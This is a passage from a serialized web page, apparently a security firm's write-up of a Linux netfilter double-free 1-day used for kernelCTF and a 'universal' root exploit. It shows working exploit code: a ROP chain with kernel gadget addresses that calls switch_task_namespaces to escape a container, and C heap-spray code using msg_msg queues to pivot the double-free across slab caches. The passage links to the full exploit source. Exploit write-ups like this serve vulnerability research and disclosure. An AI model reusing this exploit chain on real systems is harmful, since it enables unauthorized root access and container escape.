value":2703},{"type":23,"tag":213,"props":57161,"children":57162},{"style":220},[57163],{"type":28,"value":57164}," FIND_TASK_BY_VPID;\n",{"type":23,"tag":213,"props":57166,"children":57167},{"class":215,"line":1758},[57168,57172,57176,57180,57184,57188,57192,57196,57201,57205],{"type":23,"tag":213,"props":57169,"children":57170},{"style":268},[57171],{"type":28,"value":56222},{"type":23,"tag":213,"props":57173,"children":57174},{"style":220},[57175],{"type":28,"value":56737},{"type":23,"tag":213,"props":57177,"children":57178},{"style":274},[57179],{"type":28,"value":51322},{"type":23,"tag":213,"props":57181,"children":57182},{"style":220},[57183],{"type":28,"value":8746},{"type":23,"tag":213,"props":57185,"children":57186},{"style":274},[57187],{"type":28,"value":3190},{"type":23,"tag":213,"props":57189,"children":57190},{"style":220},[57191],{"type":28,"value":56243},{"type":23,"tag":213,"props":57193,"children":57194},{"style":274},[57195],{"type":28,"value":2703},{"type":23,"tag":213,"props":57197,"children":57198},{"style":514},[57199],{"type":28,"value":57200}," 0xffffffff8102e2a6",{"type":23,"tag":213,"props":57202,"children":57203},{"style":220},[57204],{"type":28,"value":49126},{"type":23,"tag":213,"props":57206,"children":57207},{"style":537},[57208],{"type":28,"value":57209}," // pop rsi; ret;\n",{"type":23,"tag":213,"props":57211,"children":57212},{"class":215,"line":1767},[57213,57217,57221,57225,57229,57233,57238,57242,57247,57251,57256,57260],{"type":23,"tag":213,"props":57214,"children":57215},{"style":268},[57216],{"type":28,"value":56222},{"type":23,"tag":213,"props":57218,"children":57219},{"style":220},[57220],{"type":28,"value":56737},{"type":23,"tag":213,"props":57222,"children":57223},{"style":274},[57224],{"type":28,"value":51322},{"type":23,"tag":213,"props":57226,"children":57227},{"style":220},[57228],{"type":28,"value":8746},{"type":23,"tag":213,"props":57230,"children":57231},{"style":274},[57232],{"type":28,"value":3190},{"type":23,"tag":213,"props":57234,"children":57235},{"style":220},[57236],{"type":28,"value":57237}," obj_ptr ",{"type":23,"tag":213,"props":57239,"children":57240},{"style":274},[57241],{"type":28,"value":2703},{"type":23,"tag":213,"props":57243,"children":57244},{"style":514},[57245],{"type":28,"value":57246}," 0xe0",{"type":23,"tag":213,"props":57248,"children":57249},{"style":274},[57250],{"type":28,"value":51308},{"type":23,"tag":213,"props":57252,"children":57253},{"style":514},[57254],{"type":28,"value":57255}," 0x66",{"type":23,"tag":213,"props":57257,"children":57258},{"style":220},[57259],{"type":28,"value":49126},{"type":23,"tag":213,"props":57261,"children":57262},{"style":537},[57263],{"type":28,"value":57264}," // rax -> rdi and resume rop\n",{"type":23,"tag":213,"props":57266,"children":57267},{"class":215,"line":1789},[57268,57272,57276,57280,57284,57288,57292,57296,57301,57305],{"type":23,"tag":213,"props":57269,"children":57270},{"style":268},[57271],{"type":28,"value":56222},{"type":23,"tag":213,"props":57273,"children":57274},{"style":220},[57275],{"type":28,"value":56737},{"type":23,"tag":213,"props":57277,"children":57278},{"style":274},[57279],{"type":28,"value":51322},{"type":23,"tag":213,"props":57281,"children":57282},{"style":220},[57283],{"type":28,"value":8746},{"type":23,"tag":213,"props":57285,"children":57286},{"style":274},[57287],{"type":28,"value":3190},{"type":23,"tag":213,"props":57289,"children":57290},{"style":220},[57291],{"type":28,"value":56243},{"type":23,"tag":213,"props":57293,"children":57294},{"style":274},[57295],{"type":28,"value":2703},{"type":23,"tag":213,"props":57297,"children":57298},{"style":514},[57299],{"type":28,"value":57300}," 0xffffffff81caed31",{"type":23,"tag":213,"props":57302,"children":57303},{"style":220},[57304],{"type":28,"value":49126},{"type":23,"tag":213,"props":57306,"children":57307},{"style":537},[57308],{"type":28,"value":57309}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":23,"tag":213,"props":57311,"children":57312},{"class":215,"line":1812},[57313],{"type":23,"tag":213,"props":57314,"children":57315},{"emptyLinePlaceholder":18},[57316],{"type":28,"value":530},{"type":23,"tag":213,"props":57318,"children":57319},{"class":215,"line":1838},[57320],{"type":23,"tag":213,"props":57321,"children":57322},{"style":537},[57323],{"type":28,"value":57324}," // switch_task_namespaces(task, &init_nsproxy);\n",{"type":23,"tag":213,"props":57326,"children":57327},{"class":215,"line":1851},[57328,57332,57336,57340,57344,57348,57352,57356,57360,57364],{"type":23,"tag":213,"props":57329,"children":57330},{"style":268},[57331],{"type":28,"value":56222},{"type":23,"tag":213,"props":57333,"children":57334},{"style":220},[57335],{"type":28,"value":56737},{"type":23,"tag":213,"props":57337,"children":57338},{"style":274},[57339],{"type":28,"value":51322},{"type":23,"tag":213,"props":57341,"children":57342},{"style":220},[57343],{"type":28,"value":8746},{"type":23,"tag":213,"props":57345,"children":57346},{"style":274},[57347],{"type":28,"value":3190},{"type":23,"tag":213,"props":57349,"children":57350},{"style":220},[57351],{"type":28,"value":56243},{"type":23,"tag":213,"props":57353,"children":57354},{"style":274},[57355],{"type":28,"value":2703},{"type":23,"tag":213,"props":57357,"children":57358},{"style":514},[57359],{"type":28,"value":57200},{"type":23,"tag":213,"props":57361,"children":57362},{"style":220},[57363],{"type":28,"value":49126},{"type":23,"tag":213,"props":57365,"children":57366},{"style":537},[57367],{"type":28,"value":57209},{"type":23,"tag":213,"props":57369,"children":57370},{"class":215,"line":1864},[57371,57375,57379,57383,57387,57391,57395,57399],{"type":23,"tag":213,"props":57372,"children":57373},{"style":268},[57374],{"type":28,"value":56222},{"type":23,"tag":213,"props":57376,"children":57377},{"style":220},[57378],{"type":28,"value":56737},{"type":23,"tag":213,"props":57380,"children":57381},{"style":274},[57382],{"type":28,"value":51322},{"type":23,"tag":213,"props":57384,"children":57385},{"style":220},[57386],{"type":28,"value":8746},{"type":23,"tag":213,"props":57388,"children":57389},{"style":274},[57390],{"type":28,"value":3190},{"type":23,"tag":213,"props":57392,"children":57393},{"style":220},[57394],{"type":28,"value":56243},{"type":23,"tag":213,"props":57396,"children":57397},{"style":274},[57398],{"type":28,"value":2703},{"type":23,"tag":213,"props":57400,"children":57401},{"style":220},[57402],{"type":28,"value":57403}," INIT_NSPROXY;\n",{"type":23,"tag":213,"props":57405,"children":57406},{"class":215,"line":1890},[57407,57411,57415,57419,57423,57427,57431,57435],{"type":23,"tag":213,"props":57408,"children":57409},{"style":268},[57410],{"type":28,"value":56222},{"type":23,"tag":213,"props":57412,"children":57413},{"style":220},[57414],{"type":28,"value":56737},{"type":23,"tag":213,"props":57416,"children":57417},{"style":274},[57418],{"type":28,"value":51322},{"type":23,"tag":213,"props":57420,"children":57421},{"style":220},[57422],{"type":28,"value":8746},{"type":23,"tag":213,"props":57424,"children":57425},{"style":274},[57426],{"type":28,"value":3190},{"type":23,"tag":213,"props":57428,"children":57429},{"style":220},[57430],{"type":28,"value":56243},{"type":23,"tag":213,"props":57432,"children":57433},{"style":274},[57434],{"type":28,"value":2703},{"type":23,"tag":213,"props":57436,"children":57437},{"style":220},[57438],{"type":28,"value":57439}," SWITCH_TASK_NAMESPACES;\n",{"type":23,"tag":213,"props":57441,"children":57442},{"class":215,"line":1899},[57443],{"type":23,"tag":213,"props":57444,"children":57445},{"style":220},[57446],{"type":28,"value":10401},{"type":23,"tag":9693,"props":57448,"children":57450},{"id":57449},"grabbing-the-kernelctf-flag",[57451],{"type":28,"value":57452},"Grabbing the kernelCTF flag",{"type":23,"tag":24,"props":57454,"children":57455},{},[57456,57460,57462,57469],{"type":23,"tag":4009,"props":57457,"children":57459},{"alt":50631,"src":57458},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":28,"value":57461},"\nYou can find the kernelCTF exploit in our ",{"type":23,"tag":36,"props":57463,"children":57466},{"href":57464,"rel":57465},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[40],[57467],{"type":28,"value":57468},"GitHub",{"type":28,"value":124},{"type":23,"tag":47,"props":57471,"children":57473},{"id":57472},"universal-exploit",[57474],{"type":28,"value":57475},"Universal exploit",{"type":23,"tag":24,"props":57477,"children":57478},{},[57479],{"type":28,"value":57480},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":23,"tag":9693,"props":57482,"children":57484},{"id":57483},"pivot-capability-using-msg_msg-mlistnext-pointer",[57485],{"type":28,"value":57486},"Pivot capability using msg_msg->mlist.next pointer",{"type":23,"tag":24,"props":57488,"children":57489},{},[57490,57492,57498,57500,57505,57507,57513],{"type":28,"value":57491},"Using the double-free vulnerability we can overlap a ",{"type":23,"tag":209,"props":57493,"children":57495},{"className":57494},[],[57496],{"type":28,"value":57497},"msg_msg",{"type":28,"value":57499}," object with with ",{"type":23,"tag":209,"props":57501,"children":57503},{"className":57502},[],[57504],{"type":28,"value":55152},{"type":28,"value":57506}," and control the ",{"type":23,"tag":209,"props":57508,"children":57510},{"className":57509},[],[57511],{"type":28,"value":57512},"m_list.next",{"type":28,"value":57514}," pointer.",{"type":23,"tag":202,"props":57516,"children":57518},{"className":29167,"code":57517,"language":29169,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts; /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[57519],{"type":23,"tag":209,"props":57520,"children":57521},{"__ignoreMap":7},[57522,57530,57546,57567,57580,57598,57623,57639,57647,57654,57661,57669,57701],{"type":23,"tag":213,"props":57523,"children":57524},{"class":215,"line":216},[57525],{"type":23,"tag":213,"props":57526,"children":57527},{"style":537},[57528],{"type":28,"value":57529},"/* one msg_msg structure for each message */\n",{"type":23,"tag":213,"props":57531,"children":57532},{"class":215,"line":226},[57533,57537,57542],{"type":23,"tag":213,"props":57534,"children":57535},{"style":230},[57536],{"type":28,"value":9486},{"type":23,"tag":213,"props":57538,"children":57539},{"style":290},[57540],{"type":28,"value":57541}," msg_msg",{"type":23,"tag":213,"props":57543,"children":57544},{"style":220},[57545],{"type":28,"value":1375},{"type":23,"tag":213,"props":57547,"children":57548},{"class":215,"line":524},[57549,57553,57558,57563],{"type":23,"tag":213,"props":57550,"children":57551},{"style":230},[57552],{"type":28,"value":887},{"type":23,"tag":213,"props":57554,"children":57555},{"style":290},[57556],{"type":28,"value":57557}," list_head",{"type":23,"tag":213,"props":57559,"children":57560},{"style":268},[57561],{"type":28,"value":57562}," m_list",{"type":23,"tag":213,"props":57564,"children":57565},{"style":220},[57566],{"type":28,"value":313},{"type":23,"tag":213,"props":57568,"children":57569},{"class":215,"line":533},[57570,57575],{"type":23,"tag":213,"props":57571,"children":57572},{"style":230},[57573],{"type":28,"value":57574}," long",{"type":23,"tag":213,"props":57576,"children":57577},{"style":220},[57578],{"type":28,"value":57579}," m_type;\n",{"type":23,"tag":213,"props":57581,"children":57582},{"class":215,"line":543},[57583,57588,57593],{"type":23,"tag":213,"props":57584,"children":57585},{"style":230},[57586],{"type":28,"value":57587}," size_t",{"type":23,"tag":213,"props":57589,"children":57590},{"style":220},[57591],{"type":28,"value":57592}," m_ts;",{"type":23,"tag":213,"props":57594,"children":57595},{"style":537},[57596],{"type":28,"value":57597}," /* message text size */\n",{"type":23,"tag":213,"props":57599,"children":57600},{"class":215,"line":551},[57601,57605,57610,57614,57619],{"type":23,"tag":213,"props":57602,"children":57603},{"style":230},[57604],{"type":28,"value":887},{"type":23,"tag":213,"props":57606,"children":57607},{"style":290},[57608],{"type":28,"value":57609}," msg_msgseg",{"type":23,"tag":213,"props":57611,"children":57612},{"style":230},[57613],{"type":28,"value":282},{"type":23,"tag":213,"props":57615,"children":57616},{"style":268},[57617],{"type":28,"value":57618},"next",{"type":23,"tag":213,"props":57620,"children":57621},{"style":220},[57622],{"type":28,"value":313},{"type":23,"tag":213,"props":57624,"children":57625},{"class":215,"line":570},[57626,57630,57634],{"type":23,"tag":213,"props":57627,"children":57628},{"style":230},[57629],{"type":28,"value":51102},{"type":23,"tag":213,"props":57631,"children":57632},{"style":274},[57633],{"type":28,"value":282},{"type":23,"tag":213,"props":57635,"children":57636},{"style":220},[57637],{"type":28,"value":57638},"security;\n",{"type":23,"tag":213,"props":57640,"children":57641},{"class":215,"line":655},[57642],{"type":23,"tag":213,"props":57643,"children":57644},{"style":537},[57645],{"type":28,"value":57646}," /* the actual message follows immediately */\n",{"type":23,"tag":213,"props":57648,"children":57649},{"class":215,"line":1176},[57650],{"type":23,"tag":213,"props":57651,"children":57652},{"style":220},[57653],{"type":28,"value":16629},{"type":23,"tag":213,"props":57655,"children":57656},{"class":215,"line":1202},[57657],{"type":23,"tag":213,"props":57658,"children":57659},{"style":220},[57660],{"type":28,"value":10401},{"type":23,"tag":213,"props":57662,"children":57663},{"class":215,"line":1758},[57664],{"type":23,"tag":213,"props":57665,"children":57666},{"style":220},[57667],{"type":28,"value":57668},"struct list_head {\n",{"type":23,"tag":213,"props":57670,"children":57671},{"class":215,"line":1767},[57672,57676,57680,57684,57688,57692,57696],{"type":23,"tag":213,"props":57673,"children":57674},{"style":230},[57675],{"type":28,"value":887},{"type":23,"tag":213,"props":57677,"children":57678},{"style":290},[57679],{"type":28,"value":57557},{"type":23,"tag":213,"props":57681,"children":57682},{"style":230},[57683],{"type":28,"value":282},{"type":23,"tag":213,"props":57685,"children":57686},{"style":268},[57687],{"type":28,"value":57618},{"type":23,"tag":213,"props":57689,"children":57690},{"style":220},[57691],{"type":28,"value":424},{"type":23,"tag":213,"props":57693,"children":57694},{"style":274},[57695],{"type":28,"value":1696},{"type":23,"tag":213,"props":57697,"children":57698},{"style":220},[57699],{"type":28,"value":57700},"prev;\n",{"type":23,"tag":213,"props":57702,"children":57703},{"class":215,"line":1789},[57704],{"type":23,"tag":213,"props":57705,"children":57706},{"style":220},[57707],{"type":28,"value":16629},{"type":23,"tag":24,"props":57709,"children":57710},{},[57711,57713,57719,57721,57726],{"type":28,"value":57712},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":23,"tag":209,"props":57714,"children":57716},{"className":57715},[],[57717],{"type":28,"value":57718},"mlist.next",{"type":28,"value":57720}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":23,"tag":209,"props":57722,"children":57724},{"className":57723},[],[57725],{"type":28,"value":57497},{"type":28,"value":57727}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":23,"tag":24,"props":57729,"children":57730},{},[57731,57733,57738,57740],{"type":28,"value":57732},"By incrementing the next pointer of our controllable ",{"type":23,"tag":209,"props":57734,"children":57736},{"className":57735},[],[57737],{"type":28,"value":57497},{"type":28,"value":57739}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":23,"tag":4009,"props":57741,"children":57743},{"alt":50631,"src":57742},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":23,"tag":202,"props":57745,"children":57747},{"className":29167,"code":57746,"language":29169,"meta":7,"style":7},"[...]\n // Spray msg_msg in kmalloc-256 and kmalloc-1k\n msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n int qid[SPRAY];\n for (int i = 0; i \u003C SPRAY; i++)\n {\n qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (qid[i] \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n *(uint32_t *)msg->mtext = i;\n *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n msg->mtype = MTYPE_PRIMARY;\n msgsnd(qid[i], msg, 0xe8 - 48, 0);\n msg->mtype = MTYPE_SECONDARY;\n msgsnd(qid[i], msg, 1024 - 48, 0);\n }\n // Prepare evil msg\n int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (evilqid \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n[...] // trigger double-free in kmalloc-256\n",[57748],{"type":23,"tag":209,"props":57749,"children":57750},{"__ignoreMap":7},[57751,57758,57766,57792,57809,57857,57864,57904,57936,57943,57964,57971,58018,58082,58108,58154,58178,58222,58229,58237,58273,58297,58304,58324,58331],{"type":23,"tag":213,"props":57752,"children":57753},{"class":215,"line":216},[57754],{"type":23,"tag":213,"props":57755,"children":57756},{"style":220},[57757],{"type":28,"value":10401},{"type":23,"tag":213,"props":57759,"children":57760},{"class":215,"line":226},[57761],{"type":23,"tag":213,"props":57762,"children":57763},{"style":220},[57764],{"type":28,"value":57765}," // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":23,"tag":213,"props":57767,"children":57768},{"class":215,"line":524},[57769,57774,57778,57782,57787],{"type":23,"tag":213,"props":57770,"children":57771},{"style":220},[57772],{"type":28,"value":57773}," msg_t *msg = calloc(1, ",{"type":23,"tag":213,"props":57775,"children":57776},{"style":290},[57777],{"type":28,"value":55381},{"type":23,"tag":213,"props":57779,"children":57780},{"style":220},[57781],{"type":28,"value":265},{"type":23,"tag":213,"props":57783,"children":57784},{"style":290},[57785],{"type":28,"value":57786},"msg_t",{"type":23,"tag":213,"props":57788,"children":57789},{"style":220},[57790],{"type":28,"value":57791},") + 0xe8 - 48);\n",{"type":23,"tag":213,"props":57793,"children":57794},{"class":215,"line":533},[57795,57799,57804],{"type":23,"tag":213,"props":57796,"children":57797},{"style":230},[57798],{"type":28,"value":19130},{"type":23,"tag":213,"props":57800,"children":57801},{"style":268},[57802],{"type":28,"value":57803}," qid",{"type":23,"tag":213,"props":57805,"children":57806},{"style":220},[57807],{"type":28,"value":57808},"[SPRAY];\n",{"type":23,"tag":213,"props":57810,"children":57811},{"class":215,"line":543},[57812,57816,57820,57824,57828,57832,57836,57840,57844,57849,57853],{"type":23,"tag":213,"props":57813,"children":57814},{"style":1362},[57815],{"type":28,"value":3131},{"type":23,"tag":213,"props":57817,"children":57818},{"style":220},[57819],{"type":28,"value":400},{"type":23,"tag":213,"props":57821,"children":57822},{"style":230},[57823],{"type":28,"value":19100},{"type":23,"tag":213,"props":57825,"children":57826},{"style":220},[57827],{"type":28,"value":54597},{"type":23,"tag":213,"props":57829,"children":57830},{"style":274},[57831],{"type":28,"value":3190},{"type":23,"tag":213,"props":57833,"children":57834},{"style":514},[57835],{"type":28,"value":517},{"type":23,"tag":213,"props":57837,"children":57838},{"style":220},[57839],{"type":28,"value":51286},{"type":23,"tag":213,"props":57841,"children":57842},{"style":274},[57843],{"type":28,"value":434},{"type":23,"tag":213,"props":57845,"children":57846},{"style":220},[57847],{"type":28,"value":57848}," SPRAY; i",{"type":23,"tag":213,"props":57850,"children":57851},{"style":274},[57852],{"type":28,"value":51322},{"type":23,"tag":213,"props":57854,"children":57855},{"style":220},[57856],{"type":28,"value":2183},{"type":23,"tag":213,"props":57858,"children":57859},{"class":215,"line":551},[57860],{"type":23,"tag":213,"props":57861,"children":57862},{"style":220},[57863],{"type":28,"value":2725},{"type":23,"tag":213,"props":57865,"children":57866},{"class":215,"line":570},[57867,57872,57876,57880,57885,57890,57895,57899],{"type":23,"tag":213,"props":57868,"children":57869},{"style":268},[57870],{"type":28,"value":57871}," qid",{"type":23,"tag":213,"props":57873,"children":57874},{"style":220},[57875],{"type":28,"value":54649},{"type":23,"tag":213,"props":57877,"children":57878},{"style":274},[57879],{"type":28,"value":3190},{"type":23,"tag":213,"props":57881,"children":57882},{"style":257},[57883],{"type":28,"value":57884}," msgget",{"type":23,"tag":213,"props":57886,"children":57887},{"style":220},[57888],{"type":28,"value":57889},"(IPC_PRIVATE, ",{"type":23,"tag":213,"props":57891,"children":57892},{"style":514},[57893],{"type":28,"value":57894},"0666",{"type":23,"tag":213,"props":57896,"children":57897},{"style":274},[57898],{"type":28,"value":4365},{"type":23,"tag":213,"props":57900,"children":57901},{"style":220},[57902],{"type":28,"value":57903}," IPC_CREAT);\n",{"type":23,"tag":213,"props":57905,"children":57906},{"class":215,"line":655},[57907,57911,57915,57920,57924,57928,57932],{"type":23,"tag":213,"props":57908,"children":57909},{"style":1362},[57910],{"type":28,"value":3369},{"type":23,"tag":213,"props":57912,"children":57913},{"style":220},[57914],{"type":28,"value":400},{"type":23,"tag":213,"props":57916,"children":57917},{"style":268},[57918],{"type":28,"value":57919},"qid",{"type":23,"tag":213,"props":57921,"children":57922},{"style":220},[57923],{"type":28,"value":54649},{"type":23,"tag":213,"props":57925,"children":57926},{"style":274},[57927],{"type":28,"value":434},{"type":23,"tag":213,"props":57929,"children":57930},{"style":514},[57931],{"type":28,"value":517},{"type":23,"tag":213,"props":57933,"children":57934},{"style":220},[57935],{"type":28,"value":2183},{"type":23,"tag":213,"props":57937,"children":57938},{"class":215,"line":1176},[57939],{"type":23,"tag":213,"props":57940,"children":57941},{"style":220},[57942],{"type":28,"value":31715},{"type":23,"tag":213,"props":57944,"children":57945},{"class":215,"line":1202},[57946,57951,57955,57960],{"type":23,"tag":213,"props":57947,"children":57948},{"style":257},[57949],{"type":28,"value":57950}," perror",{"type":23,"tag":213,"props":57952,"children":57953},{"style":220},[57954],{"type":28,"value":265},{"type":23,"tag":213,"props":57956,"children":57957},{"style":246},[57958],{"type":28,"value":57959},"\"[-] msgget\"",{"type":23,"tag":213,"props":57961,"children":57962},{"style":220},[57963],{"type":28,"value":2867},{"type":23,"tag":213,"props":57965,"children":57966},{"class":215,"line":1758},[57967],{"type":23,"tag":213,"props":57968,"children":57969},{"style":220},[57970],{"type":28,"value":3444},{"type":23,"tag":213,"props":57972,"children":57973},{"class":215,"line":1767},[57974,57978,57982,57987,57991,57995,58000,58004,58009,58013],{"type":23,"tag":213,"props":57975,"children":57976},{"style":274},[57977],{"type":28,"value":7839},{"type":23,"tag":213,"props":57979,"children":57980},{"style":220},[57981],{"type":28,"value":265},{"type":23,"tag":213,"props":57983,"children":57984},{"style":230},[57985],{"type":28,"value":57986},"uint32_t",{"type":23,"tag":213,"props":57988,"children":57989},{"style":274},[57990],{"type":28,"value":282},{"type":23,"tag":213,"props":57992,"children":57993},{"style":220},[57994],{"type":28,"value":2121},{"type":23,"tag":213,"props":57996,"children":57997},{"style":268},[57998],{"type":28,"value":57999},"msg",{"type":23,"tag":213,"props":58001,"children":58002},{"style":220},[58003],{"type":28,"value":303},{"type":23,"tag":213,"props":58005,"children":58006},{"style":268},[58007],{"type":28,"value":58008},"mtext",{"type":23,"tag":213,"props":58010,"children":58011},{"style":274},[58012],{"type":28,"value":511},{"type":23,"tag":213,"props":58014,"children":58015},{"style":220},[58016],{"type":28,"value":58017}," i;\n",{"type":23,"tag":213,"props":58019,"children":58020},{"class":215,"line":1789},[58021,58025,58029,58033,58037,58041,58045,58049,58053,58057,58061,58065,58069,58073,58078],{"type":23,"tag":213,"props":58022,"children":58023},{"style":274},[58024],{"type":28,"value":7839},{"type":23,"tag":213,"props":58026,"children":58027},{"style":220},[58028],{"type":28,"value":265},{"type":23,"tag":213,"props":58030,"children":58031},{"style":230},[58032],{"type":28,"value":55687},{"type":23,"tag":213,"props":58034,"children":58035},{"style":274},[58036],{"type":28,"value":282},{"type":23,"tag":213,"props":58038,"children":58039},{"style":220},[58040],{"type":28,"value":2121},{"type":23,"tag":213,"props":58042,"children":58043},{"style":274},[58044],{"type":28,"value":405},{"type":23,"tag":213,"props":58046,"children":58047},{"style":268},[58048],{"type":28,"value":57999},{"type":23,"tag":213,"props":58050,"children":58051},{"style":220},[58052],{"type":28,"value":303},{"type":23,"tag":213,"props":58054,"children":58055},{"style":268},[58056],{"type":28,"value":58008},{"type":23,"tag":213,"props":58058,"children":58059},{"style":220},[58060],{"type":28,"value":3821},{"type":23,"tag":213,"props":58062,"children":58063},{"style":514},[58064],{"type":28,"value":4170},{"type":23,"tag":213,"props":58066,"children":58067},{"style":220},[58068],{"type":28,"value":8746},{"type":23,"tag":213,"props":58070,"children":58071},{"style":274},[58072],{"type":28,"value":3190},{"type":23,"tag":213,"props":58074,"children":58075},{"style":514},[58076],{"type":28,"value":58077}," 0xdeadbeefcafebabe",{"type":23,"tag":213,"props":58079,"children":58080},{"style":220},[58081],{"type":28,"value":313},{"type":23,"tag":213,"props":58083,"children":58084},{"class":215,"line":1812},[58085,58090,58094,58099,58103],{"type":23,"tag":213,"props":58086,"children":58087},{"style":268},[58088],{"type":28,"value":58089}," msg",{"type":23,"tag":213,"props":58091,"children":58092},{"style":220},[58093],{"type":28,"value":303},{"type":23,"tag":213,"props":58095,"children":58096},{"style":268},[58097],{"type":28,"value":58098},"mtype",{"type":23,"tag":213,"props":58100,"children":58101},{"style":274},[58102],{"type":28,"value":511},{"type":23,"tag":213,"props":58104,"children":58105},{"style":220},[58106],{"type":28,"value":58107}," MTYPE_PRIMARY;\n",{"type":23,"tag":213,"props":58109,"children":58110},{"class":215,"line":1838},[58111,58116,58120,58124,58129,58133,58137,58142,58146,58150],{"type":23,"tag":213,"props":58112,"children":58113},{"style":257},[58114],{"type":28,"value":58115}," msgsnd",{"type":23,"tag":213,"props":58117,"children":58118},{"style":220},[58119],{"type":28,"value":265},{"type":23,"tag":213,"props":58121,"children":58122},{"style":268},[58123],{"type":28,"value":57919},{"type":23,"tag":213,"props":58125,"children":58126},{"style":220},[58127],{"type":28,"value":58128},"[i], msg, ",{"type":23,"tag":213,"props":58130,"children":58131},{"style":514},[58132],{"type":28,"value":56024},{"type":23,"tag":213,"props":58134,"children":58135},{"style":274},[58136],{"type":28,"value":51308},{"type":23,"tag":213,"props":58138,"children":58139},{"style":514},[58140],{"type":28,"value":58141}," 48",{"type":23,"tag":213,"props":58143,"children":58144},{"style":220},[58145],{"type":28,"value":424},{"type":23,"tag":213,"props":58147,"children":58148},{"style":514},[58149],{"type":28,"value":4116},{"type":23,"tag":213,"props":58151,"children":58152},{"style":220},[58153],{"type":28,"value":2867},{"type":23,"tag":213,"props":58155,"children":58156},{"class":215,"line":1851},[58157,58161,58165,58169,58173],{"type":23,"tag":213,"props":58158,"children":58159},{"style":268},[58160],{"type":28,"value":58089},{"type":23,"tag":213,"props":58162,"children":58163},{"style":220},[58164],{"type":28,"value":303},{"type":23,"tag":213,"props":58166,"children":58167},{"style":268},[58168],{"type":28,"value":58098},{"type":23,"tag":213,"props":58170,"children":58171},{"style":274},[58172],{"type":28,"value":511},{"type":23,"tag":213,"props":58174,"children":58175},{"style":220},[58176],{"type":28,"value":58177}," MTYPE_SECONDARY;\n",{"type":23,"tag":213,"props":58179,"children":58180},{"class":215,"line":1864},[58181,58185,58189,58193,58197,58202,58206,58210,58214,58218],{"type":23,"tag":213,"props":58182,"children":58183},{"style":257},[58184],{"type":28,"value":58115},{"type":23,"tag":213,"props":58186,"children":58187},{"style":220},[58188],{"type":28,"value":265},{"type":23,"tag":213,"props":58190,"children":58191},{"style":268},[58192],{"type":28,"value":57919},{"type":23,"tag":213,"props":58194,"children":58195},{"style":220},[58196],{"type":28,"value":58128},{"type":23,"tag":213,"props":58198,"children":58199},{"style":514},[58200],{"type":28,"value":58201},"1024",{"type":23,"tag":213,"props":58203,"children":58204},{"style":274},[58205],{"type":28,"value":51308},{"type":23,"tag":213,"props":58207,"children":58208},{"style":514},[58209],{"type":28,"value":58141},{"type":23,"tag":213,"props":58211,"children":58212},{"style":220},[58213],{"type":28,"value":424},{"type":23,"tag":213,"props":58215,"children":58216},{"style":514},[58217],{"type":28,"value":4116},{"type":23,"tag":213,"props":58219,"children":58220},{"style":220},[58221],{"type":28,"value":2867},{"type":23,"tag":213,"props":58223,"children":58224},{"class":215,"line":1890},[58225],{"type":23,"tag":213,"props":58226,"children":58227},{"style":220},[58228],{"type":28,"value":2875},{"type":23,"tag":213,"props":58230,"children":58231},{"class":215,"line":1899},[58232],{"type":23,"tag":213,"props":58233,"children":58234},{"style":537},[58235],{"type":28,"value":58236}," // Prepare evil msg\n",{"type":23,"tag":213,"props":58238,"children":58239},{"class":215,"line":1912},[58240,58244,58249,58253,58257,58261,58265,58269],{"type":23,"tag":213,"props":58241,"children":58242},{"style":230},[58243],{"type":28,"value":19130},{"type":23,"tag":213,"props":58245,"children":58246},{"style":220},[58247],{"type":28,"value":58248}," evilqid ",{"type":23,"tag":213,"props":58250,"children":58251},{"style":274},[58252],{"type":28,"value":3190},{"type":23,"tag":213,"props":58254,"children":58255},{"style":257},[58256],{"type":28,"value":57884},{"type":23,"tag":213,"props":58258,"children":58259},{"style":220},[58260],{"type":28,"value":57889},{"type":23,"tag":213,"props":58262,"children":58263},{"style":514},[58264],{"type":28,"value":57894},{"type":23,"tag":213,"props":58266,"children":58267},{"style":274},[58268],{"type":28,"value":4365},{"type":23,"tag":213,"props":58270,"children":58271},{"style":220},[58272],{"type":28,"value":57903},{"type":23,"tag":213,"props":58274,"children":58275},{"class":215,"line":1921},[58276,58280,58285,58289,58293],{"type":23,"tag":213,"props":58277,"children":58278},{"style":1362},[58279],{"type":28,"value":2653},{"type":23,"tag":213,"props":58281,"children":58282},{"style":220},[58283],{"type":28,"value":58284}," (evilqid ",{"type":23,"tag":213,"props":58286,"children":58287},{"style":274},[58288],{"type":28,"value":434},{"type":23,"tag":213,"props":58290,"children":58291},{"style":514},[58292],{"type":28,"value":517},{"type":23,"tag":213,"props":58294,"children":58295},{"style":220},[58296],{"type":28,"value":2183},{"type":23,"tag":213,"props":58298,"children":58299},{"class":215,"line":3879},[58300],{"type":23,"tag":213,"props":58301,"children":58302},{"style":220},[58303],{"type":28,"value":2725},{"type":23,"tag":213,"props":58305,"children":58306},{"class":215,"line":3887},[58307,58312,58316,58320],{"type":23,"tag":213,"props":58308,"children":58309},{"style":257},[58310],{"type":28,"value":58311}," 